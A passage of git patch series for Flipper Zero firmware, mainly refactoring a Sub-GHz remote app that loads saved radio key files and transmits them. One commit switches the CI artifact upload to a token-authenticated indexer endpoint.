"Loaded %s key: %s %s", + "%-5s: %s %s", map_file_labels[i][0], - furi_string_get_cstr(app->subs_preset[i]->label), - furi_string_get_cstr(app->subs_preset[i]->file_path)); - app->subs_preset[i]->type = SubRemSubKeyTypeHaveFileName; // TODO: + furi_string_get_cstr(sub_preset->label), + furi_string_get_cstr(sub_preset->file_path)); ret = true; } flipper_format_rewind(fff_data_file); @@ -115,11 +118,20 @@ static bool subrem_sub_file_presets_load(SubGhzRemoteApp* app, FlipperFormat* ff return ret; } -bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { +bool subghz_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback) { furi_assert(app); furi_assert(sub_preset); bool ret = false; + subghz_tx_stop_sub(app, true); + + if(sub_preset->type == SubGhzProtocolTypeUnknown) { + return false; + } + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); do { @@ -152,19 +164,27 @@ bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) break; } + if(sub_preset->type == SubGhzProtocolTypeRAW) { + subghz_protocol_raw_file_encoder_worker_set_callback_end( + (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( + app->transmitter), + callback, + app); + } + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); ret = true; } } while(false); - // ret = false; // TODO: + app->tx_running = ret; // TODO: + return ret; } -void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { +static void subghz_tx_stop(SubGhzRemoteApp* app) { furi_assert(app); - furi_assert(sub_preset); //Stop TX furi_hal_subghz_stop_async_tx(); @@ -172,29 +192,46 @@ void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { subghz_transmitter_stop(app->transmitter); subghz_transmitter_free(app->transmitter); furi_hal_subghz_idle(); +} + +bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { + furi_assert(app); + + if(forced || (app->subs_preset[app->chusen_sub]->type != SubGhzProtocolTypeRAW)) { + // SubRemSubKeyTypeRawKey)) { + if(app->tx_running) { + subghz_tx_stop(app); + app->tx_running = false; + return true; + } + } + + return false; + + // SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; // TODO: need saving logic } -static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { +static bool subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); FuriString* temp_str = furi_string_alloc(); uint32_t temp_data32; bool ret = false; + bool sub_preset_loaded = false; SubRemSubFilePreset* sub_preset; - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { sub_preset = app->subs_preset[i]; - if(sub_preset->type == SubRemSubKeyTypeNoData) { + sub_preset_loaded = false; + if(furi_string_empty(sub_preset->file_path)) { + // FURI_LOG_I(TAG, "Empty file path"); continue; } do { if(!flipper_format_file_open_existing( fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { - FURI_LOG_E( - TAG, - "Error open file %s", - furi_string_get_cstr(sub_preset->file_path)); // TODO: warning + FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); break; } @@ -213,9 +250,9 @@ static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_da //Load frequency if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { - FURI_LOG_W(TAG, "Cannot read frequency. Defaulting to 433.92 MHz"); - sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency( - app->setting); // TODO: Get default from settings + FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); + sub_preset->freq_preset.frequency = + subghz_setting_get_default_frequency(app->setting); } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { FURI_LOG_E(TAG, "This frequency can only be used for RX"); break; @@ -246,7 +283,6 @@ static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_da //if RAW subghz_protocol_raw_gen_fff_data( fff_data, furi_string_get_cstr(sub_preset->file_path)); - sub_preset->type = SubRemSubKeyTypeRawKey; } else { stream_copy_full( flipper_format_get_raw_stream(fff_data_file), @@ -262,70 +298,82 @@ static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_da if(!protocol) { FURI_LOG_E(TAG, "Protocol not found"); break; - } else if(protocol->flag & SubGhzProtocolFlag_Send) { // FIXME: - - if(protocol->type == SubGhzProtocolTypeStatic) { - sub_preset->type = SubRemSubKeyTypeStaticKey; - } else if(protocol->type == SubGhzProtocolTypeDynamic) { - sub_preset->type = SubRemSubKeyTypeDynamicKey; - } else if(protocol->type == SubGhzProtocolTypeRAW) { - sub_preset->type = SubRemSubKeyTypeRawKey; - // } else if(protocol->type == SubGhzProtocolTypeBinRAW) { // TODO: BINRAW + } else if(protocol->flag & SubGhzProtocolFlag_Send) { + if((protocol->type == SubGhzProtocolTypeStatic) || + (protocol->type == SubGhzProtocolTypeDynamic) || + // (protocol->type == SubGhzProtocolTypeBinRAW) || // TODO: BINRAW + (protocol->type == SubGhzProtocolTypeRAW)) { + sub_preset->type = protocol->type; } else { FURI_LOG_E(TAG, "Unsuported Protocol"); break; } furi_string_set(sub_preset->protocaol_name, temp_str); - } // TODO: check dynamic and protocol found - - ret |= true; - - if(ret) { - FURI_LOG_I(TAG, "Protocol Loaded"); + } else { + FURI_LOG_E(TAG, "Protocol does not support transmission"); } + + sub_preset_loaded = true; + ret |= true; +#if FURI_DEBUG + FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); +#endif } while(false); + // TODO: + // Load file state logic + // Label depending on the state + + if(!sub_preset_loaded) { + furi_string_set_str(sub_preset->label, "N/A"); + } + flipper_format_file_close(fff_data_file); } furi_string_free(temp_str); - //ret = false; // TODO: return ret; } bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_assert(app); furi_assert(file_path); - // TODO: drop furi log - FURI_LOG_I(TAG, "Load Map File Start"); // drop +#if FURI_DEBUG + FURI_LOG_I(TAG, "Load Map File Start"); +#endif Storage* storage = furi_record_open(RECORD_STORAGE); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); bool ret = false; - FURI_LOG_I(TAG, "Open Map File.."); // drop - - subrem_sub_file_presets_reset(app); +#if FURI_DEBUG + FURI_LOG_I(TAG, "Open Map File.."); +#endif + subrem_map_preset_reset(app); if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); } else { - if(!subrem_sub_file_presets_load(app, fff_data_file)) { - // TODO: error popup or return error type - FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); + if(!subrem_map_preset_load(app, fff_data_file)) { + FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); + // ret = // error for popup } else if( (flipper_format_file_close(fff_data_file)) && - (subrem_sub_presets_check(app, fff_data_file))) { + (subrem_map_preset_check(app, fff_data_file))) { FURI_LOG_I(TAG, "Load Map File Seccesful"); ret = true; } } + // TODO: Pop for error or return error type + if(!ret) { + FURI_LOG_E(TAG, "Broken Map File"); + } + flipper_format_file_close(fff_data_file); flipper_format_free(fff_data_file); furi_record_close(RECORD_STORAGE); - //ret = false; // TODO: return ret; } @@ -344,7 +392,6 @@ bool subrem_load_from_file(SubGhzRemoteApp* app) { if(res) { res = subrem_map_file_load(app, furi_string_get_cstr(app->file_path)); - // FIXME res = subghz_key_load(app, furi_string_get_cstr(app->file_path), true); } furi_string_free(file_path); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index d954eca02..8941f1401 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -1,12 +1,12 @@ #pragma once #include "helpers/subrem_types.h" +#include // TODO: -#include "views/transmitter.h" +#include "views/remote.h" #include "scenes/subrem_scene.h" -#include // TODO: #include #include #include @@ -18,21 +18,16 @@ #include #include +#include + #include #include #include #include // FIXME: -// #include "views/subghz_remote_view_programmer.h" -// #include "views/subghz_remote_view_reader.h" -// #include "views/subghz_remote_view_writer.h" -// #include "views/subghz_remote_view_chip_detect.h" - -#define SUBREM_APP_EXTENSION ".txt" -#define SUBREM_APP_FOLDER "/ext/subghz_remote" +#define SUBREM_APP_FOLDER ANY_PATH("subghz_remote") #define SUBGHZ_REMOTE_MAX_LEN_NAME 64 -#define SUBREM_MAX_SUB_KEY_COUNT (5U) typedef struct { uint32_t frequency; @@ -46,7 +41,7 @@ typedef struct { FuriString* file_path; FuriString* protocaol_name; FuriString* label; - SubRemSubKeyType type; + SubGhzProtocolType type; } SubRemSubFilePreset; SubRemSubFilePreset* subrem_sub_file_preset_alloc(); @@ -68,22 +63,25 @@ typedef struct { SubRemViewRemote* subrem_remote_view; - SubRemSubFilePreset* subs_preset[SUBREM_MAX_SUB_KEY_COUNT]; + SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; SubGhzSetting* setting; SubGhzEnvironment* environment; SubGhzReceiver* receiver; SubGhzTransmitter* transmitter; - // AvrIspProgrammerView* subghz_remote_programmer_view; - // AvrIspReaderView* subghz_remote_reader_view; - // AvrIspWriterView* subghz_remote_writer_view; - // AvrIspChipDetectView* subghz_remote_chip_detect_view; + bool tx_running; - // AvrIspError error; + uint8_t chusen_sub; + + // TODO: LoadFileError } SubGhzRemoteApp; bool subrem_load_from_file(SubGhzRemoteApp* app); -bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); -void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); \ No newline at end of file +bool subghz_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback); + +bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.c b/applications/external/subghz_remote_new/views/remote.c similarity index 67% rename from applications/external/subghz_remote_new/views/transmitter.c rename to applications/external/subghz_remote_new/views/remote.c index 6f43a1406..c631c76cc 100644 --- a/applications/external/subghz_remote_new/views/transmitter.c +++ b/applications/external/subghz_remote_new/views/remote.c @@ -1,27 +1,18 @@ -#include "transmitter.h" +#include "remote.h" #include "../subghz_remote_app_i.h" #include #include #define SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH 16 + struct SubRemViewRemote { View* view; SubRemViewRemoteCallback callback; void* context; }; -// FIXME: drop -// static char* char_to_str(char* str, int i) { -// char* converted = malloc(sizeof(char) * i + 1); -// memcpy(converted, str, i); - -// converted[i] = '\0'; - -// return converted; -// } // TODO: model - typedef struct { // FuriString* up_label; // FuriString* down_label; @@ -35,6 +26,8 @@ typedef struct { char* right_label; char* ok_label; + SubRemViewRemoteState state; + uint8_t pressed_btn; // bool show_button; // FuriString* temp_button_id; @@ -70,12 +63,6 @@ void subrem_view_remote_add_data_to_show( strncpy(model->right_label, right_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); strncpy(model->ok_label, ok_label, SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH); - // model->up_label = char_to_str((char*)up_label, 16); - // model->down_label = char_to_str((char*)down_label, 16); - // model->left_label = char_to_str((char*)left_label, 16); - // model->right_label = char_to_str((char*)right_label, 16); - // model->ok_label = char_to_str((char*)ok_label, 16); - // furi_string_set(model->up_label, up_label); // furi_string_set(model->down_label, down_label); // furi_string_set(model->left_label, left_label); @@ -85,6 +72,23 @@ void subrem_view_remote_add_data_to_show( true); } +void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn) { + furi_assert(subrem_view_remote); + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = presed_btn; }, + true); +} + +void subrem_view_remote_set_state( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteState state) { + furi_assert(subrem_view_remote); + with_view_model( + subrem_view_remote->view, SubRemViewRemoteModel * model, { model->state = state; }, true); +} + void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); @@ -126,29 +130,44 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit."); //Status text and indicator - // canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, app->send_status); + + //canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, model->state); canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); - switch(model->pressed_btn) { - case 0: - break; - case 1: - canvas_draw_icon(canvas, 116, 17, &I_Pin_arrow_up_7x9); - break; - case 2: - canvas_draw_icon_ex(canvas, 116, 17, &I_Pin_arrow_up_7x9, IconRotation180); - break; - case 3: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); - break; - case 4: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); - break; - case 5: - canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); - break; - } + if(model->state == SubRemViewRemoteStateIdle) { + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Idle"); + } else { + switch(model->state) { + case SubRemViewRemoteStateSending: + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Send"); + break; + case SubRemViewRemoteStateLoading: + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Load"); + break; + default: + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, "Idle"); + break; + } + + switch(model->pressed_btn) { + case SubRemSubKeyNameUp: + canvas_draw_icon(canvas, 116, 17, &I_Pin_arrow_up_7x9); + break; + case SubRemSubKeyNameDown: + canvas_draw_icon_ex(canvas, 116, 17, &I_Pin_arrow_up_7x9, IconRotation180); + break; + case SubRemSubKeyNameLeft: + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); + break; + case SubRemSubKeyNameRight: + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); + break; + case SubRemSubKeyNameOk: + canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); + break; + } + } //Repeat indicator //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); //canvas_draw_icon(canvas, 115, 39, &I_SubGHzRemote_Repeat_12x14); @@ -160,6 +179,7 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemote* subrem_view_remote = context; if(event->key == InputKeyBack && event->type == InputTypeLong) { + // TODO: remove reset Debug with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, @@ -177,28 +197,47 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { // furi_string_reset(model->ok_label); }, false); - return false; - } else if(event->key == InputKeyUp) { - if(event->type == InputTypePress) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 1; }, - true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); - return true; - } else if(event->type == InputTypeRelease) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, - true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStop, subrem_view_remote->context); - return true; - } + subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyBack && event->type == InputTypeShort) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 0; }, + true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteForcedStop, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyBack) { + return true; } + // BACK button processing end + + if(event->key == InputKeyUp && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyDown && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartDOWN, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyLeft && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartLEFT, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyRight && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartRIGHT, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyOk && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartOK, subrem_view_remote->context); + return true; + } else if(event->type == InputTypeRelease) { + subrem_view_remote->callback(SubRemCustomEventViewRemoteStop, subrem_view_remote->context); + return true; + } + return true; } @@ -227,6 +266,8 @@ SubRemViewRemote* subrem_view_remote_alloc() { subrem_view_remote->view, SubRemViewRemoteModel * model, { + model->state = SubRemViewRemoteStateIdle; + model->up_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); model->down_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); model->left_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); diff --git a/applications/external/subghz_remote_new/views/transmitter.h b/applications/external/subghz_remote_new/views/remote.h similarity index 66% rename from applications/external/subghz_remote_new/views/transmitter.h rename to applications/external/subghz_remote_new/views/remote.h index a324d09ec..76121cf8a 100644 --- a/applications/external/subghz_remote_new/views/transmitter.h +++ b/applications/external/subghz_remote_new/views/remote.h @@ -3,6 +3,12 @@ #include #include "../helpers/subrem_custom_event.h" +typedef enum { + SubRemViewRemoteStateIdle, + SubRemViewRemoteStateLoading, + SubRemViewRemoteStateSending, +} SubRemViewRemoteState; + typedef struct SubRemViewRemote SubRemViewRemote; typedef void (*SubRemViewRemoteCallback)(SubRemCustomEvent event, void* context); @@ -24,4 +30,9 @@ void subrem_view_remote_add_data_to_show( const char* down_label, const char* left_label, const char* right_label, - const char* ok_label); \ No newline at end of file + const char* ok_label); + +void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn); +void subrem_view_remote_set_state( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteState state); \ No newline at end of file From 9da2e4fae876ea1c83a24e38fac389e3c68e7efa Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Thu, 18 May 2023 12:01:17 +0300 Subject: [PATCH 007/100] add save dynamic --- .../subghz_remote_new/application.fam | 1 + .../scenes/subrem_scene_openmapfile.c | 20 +++++++- .../subghz_remote_new/subghz_remote_app_i.c | 46 ++++++++++++++++++- 3 files changed, 65 insertions(+), 2 deletions(-) diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam index 4f633b961..389f02b61 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_new/application.fam @@ -7,6 +7,7 @@ App( "gui", "dialogs", ], + cdefines=["SUBREM_LIGHT"], icon="A_SubGHzRemote_14", stack_size=4 * 1024, order=12, diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index 504bfee2e..cb93134ab 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -7,7 +7,25 @@ void subrem_scene_openmapfile_on_enter(void* context) { scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); } else { // TODO: Map Preset Reset - scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SubRemSceneStart); + + // #if SUBREM_LIGHT + // dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); + // #else + DialogMessage* message = dialog_message_alloc(); + + dialog_message_set_header(message, "Map File Error", 64, 8, AlignCenter, AlignCenter); + dialog_message_set_text(message, "Can't load\nMap file", 64, 32, AlignCenter, AlignCenter); + dialog_message_set_buttons(message, "Back", NULL, NULL); + dialog_message_show(app->dialogs, message); + + dialog_message_free(message); + // #endif + + if(!scene_manager_search_and_switch_to_previous_scene( + app->scene_manager, SubRemSceneStart)) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + } } } diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index dac0d15b7..da3f31717 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -118,6 +118,43 @@ static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data return ret; } +bool subghz_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { + // furi_assert(subghz); + furi_assert(flipper_format); + furi_assert(dev_file_name); + + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); + + bool saved = false; + FuriString* file_dir = furi_string_alloc(); + + path_extract_dirname(dev_file_name, file_dir); + do { + //removing additional fields + flipper_format_delete_key(flipper_format, "Repeat"); + //flipper_format_delete_key(flipper_format, "Manufacture"); + + // Create subghz folder directory if necessary + // if(!storage_simply_mkdir(storage, furi_string_get_cstr(file_dir))) { + // dialog_message_show_storage_error(subghz->dialogs, "Cannot create\nfolder"); + // break; + // } + + if(!storage_simply_remove(storage, dev_file_name)) { + break; + } + //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); + stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); + + saved = true; + } while(0); + furi_string_free(file_dir); + furi_record_close(RECORD_STORAGE); + return saved; +} + bool subghz_tx_start_sub( SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset, @@ -196,11 +233,18 @@ static void subghz_tx_stop(SubGhzRemoteApp* app) { bool subghz_tx_stop_sub(SubGhzRemoteApp* app, bool forced) { furi_assert(app); + SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; - if(forced || (app->subs_preset[app->chusen_sub]->type != SubGhzProtocolTypeRAW)) { + if(forced || (sub_preset->type != SubGhzProtocolTypeRAW)) { // SubRemSubKeyTypeRawKey)) { if(app->tx_running) { subghz_tx_stop(app); + + if(sub_preset->type == SubGhzProtocolTypeDynamic) { + subghz_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); + } + app->tx_running = false; return true; } From d062ce73d71789bcf511ebf2a75bf36501d7bf98 Mon Sep 17 00:00:00 2001 From: Max Andreev Date: Fri, 19 May 2023 12:32:30 +0300 Subject: [PATCH 008/100] Add new indexer (#2681) --- .github/workflows/build.yml | 17 +++++------------ .github/workflows/reindex.yml | 3 ++- 2 files changed, 7 insertions(+), 13 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 8358d1706..ca603a64a 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -123,18 +123,11 @@ jobs: - name: 'Upload artifacts to update server' if: ${{ !github.event.pull_request.head.repo.fork }} run: | - mkdir -p ~/.ssh - ssh-keyscan -p ${{ secrets.RSYNC_DEPLOY_PORT }} -H ${{ secrets.RSYNC_DEPLOY_HOST }} > ~/.ssh/known_hosts - echo "${{ secrets.RSYNC_DEPLOY_KEY }}" > deploy_key; - chmod 600 ./deploy_key; - rsync -avzP --delete --mkpath \ - -e 'ssh -p ${{ secrets.RSYNC_DEPLOY_PORT }} -i ./deploy_key' \ - artifacts/ ${{ secrets.RSYNC_DEPLOY_USER }}@${{ secrets.RSYNC_DEPLOY_HOST }}:"${{ secrets.RSYNC_DEPLOY_BASE_PATH }}${BRANCH_NAME}/"; - rm ./deploy_key; - - - name: 'Trigger update server reindex' - if: ${{ !github.event.pull_request.head.repo.fork }} - run: curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }} + FILES=$(for CUR in $(ls artifacts/); do echo "-F files=@artifacts/$CUR"; done) + curl --fail -L -H "Token: ${{ secrets.INDEXER_TOKEN }}" \ + -F "branch=${BRANCH_NAME}" \ + ${FILES[@]} \ + "${{ secrets.INDEXER_URL }}"/firmware/uploadfiles - name: 'Find Previous Comment' if: ${{ !github.event.pull_request.head.repo.fork && github.event.pull_request }} diff --git a/.github/workflows/reindex.yml b/.github/workflows/reindex.yml index ea850e705..5645f609b 100644 --- a/.github/workflows/reindex.yml +++ b/.github/workflows/reindex.yml @@ -11,4 +11,5 @@ jobs: steps: - name: Trigger reindex run: | - curl -X POST -F 'key=${{ secrets.REINDEX_KEY }}' ${{ secrets.REINDEX_URL }} + curl --fail -L -H "Token: ${{ secrets.INDEXER_TOKEN }}" \ + "${{ secrets.INDEXER_URL }}"/firmware/reindex From 0b25cc5a5c9777085bc93bddb1d66a29e15a9f44 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Fri, 19 May 2023 21:06:03 +0300 Subject: [PATCH 009/100] fap --- .../subghz_remote_new/application.fam | 13 +- .../helpers/subrem_custom_event.h | 6 +- .../subghz_remote_new/helpers/subrem_types.h | 18 +- .../scenes/subrem_scene_openmapfile.c | 21 +- .../scenes/subrem_scene_remote.c | 34 +- .../scenes/subrem_scene_start.c | 1 - .../subghz_remote_new/subghz_remote_app.c | 39 +-- .../subghz_remote_new/subghz_remote_app_i.c | 66 ++-- .../subghz_remote_new/subghz_remote_app_i.h | 23 +- .../external/subghz_remote_new/views/remote.c | 38 +-- .../views/transmitter_old.txt | 317 ------------------ 11 files changed, 92 insertions(+), 484 deletions(-) delete mode 100644 applications/external/subghz_remote_new/views/transmitter_old.txt diff --git a/applications/external/subghz_remote_new/application.fam b/applications/external/subghz_remote_new/application.fam index 389f02b61..09eb7e64e 100644 --- a/applications/external/subghz_remote_new/application.fam +++ b/applications/external/subghz_remote_new/application.fam @@ -1,16 +1,19 @@ App( - appid="subghz_remote_new", - name="SubRem new", - apptype=FlipperAppType.EXTERNAL, + appid="subrem_remote_fap", + name="Sub-GHz Remote", + apptype=FlipperAppType.APP, entry_point="subghz_remote_app", + cdefines=[ + "APP_SUBGHZREMOTE", + "SUBREM_LIGHT", + ], requires=[ "gui", "dialogs", ], - cdefines=["SUBREM_LIGHT"], icon="A_SubGHzRemote_14", stack_size=4 * 1024, - order=12, + order=50, fap_category="Debug", fap_icon_assets="icons", ) \ No newline at end of file diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index 90d60f026..46ab8ad54 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -1,13 +1,9 @@ #pragma once typedef enum { - // SubRemCustomEventManagerNoSet = 0, - // SubRemCustomEventManagerSet, - // SubRemCustomEventManagerSetRAW, - //SubmenuIndex SubmenuIndexSubRemOpenMapFile, - SubmenuIndexSubRemRemoteView, // TODO: temp debug + SubmenuIndexSubRemRemoteView, SubmenuIndexSubRemAbout, //SubRemCustomEvent diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h index 0bf31e6a4..1b99aac6d 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_types.h +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -3,6 +3,7 @@ #include #include +// TODO: File version/type logic // #define SUBREM_APP_APP_FILE_VERSION 1 // #define SUBREM_APP_APP_FILE_TYPE "Flipper SubRem Map file" #define SUBREM_APP_EXTENSION ".txt" @@ -25,16 +26,7 @@ typedef enum { } SubRemViewID; typedef enum { - // Loadin State - SubRemSubKeyTypeNoData = 0, - // SubRemSubKeyTypeHaveFileName, - - // Key Type - SubRemSubKeyTypeStaticKey = 100, - SubRemSubKeyTypeDynamicKey, - SubRemSubKeyTypeRawKey, -} SubRemSubKeyType; // TODO: depricated - -// typedef enum { -// -// } SubRemLoadMapState; \ No newline at end of file + SubRemLoadMapStateBack = 0, + SubRemLoadMapStateError, + SubRemLoadMapStateOK, +} SubRemLoadMapState; \ No newline at end of file diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index cb93134ab..3391845e1 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -2,15 +2,12 @@ void subrem_scene_openmapfile_on_enter(void* context) { SubGhzRemoteApp* app = context; + SubRemLoadMapState load_state = subrem_load_from_file(app); - if(subrem_load_from_file(app)) { - scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); - } else { - // TODO: Map Preset Reset - - // #if SUBREM_LIGHT - // dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); - // #else + if(load_state == SubRemLoadMapStateError) { +#ifdef SUBREM_LIGHT + dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); +#else DialogMessage* message = dialog_message_alloc(); dialog_message_set_header(message, "Map File Error", 64, 8, AlignCenter, AlignCenter); @@ -19,8 +16,12 @@ void subrem_scene_openmapfile_on_enter(void* context) { dialog_message_show(app->dialogs, message); dialog_message_free(message); - // #endif - +#endif + } + if(load_state == 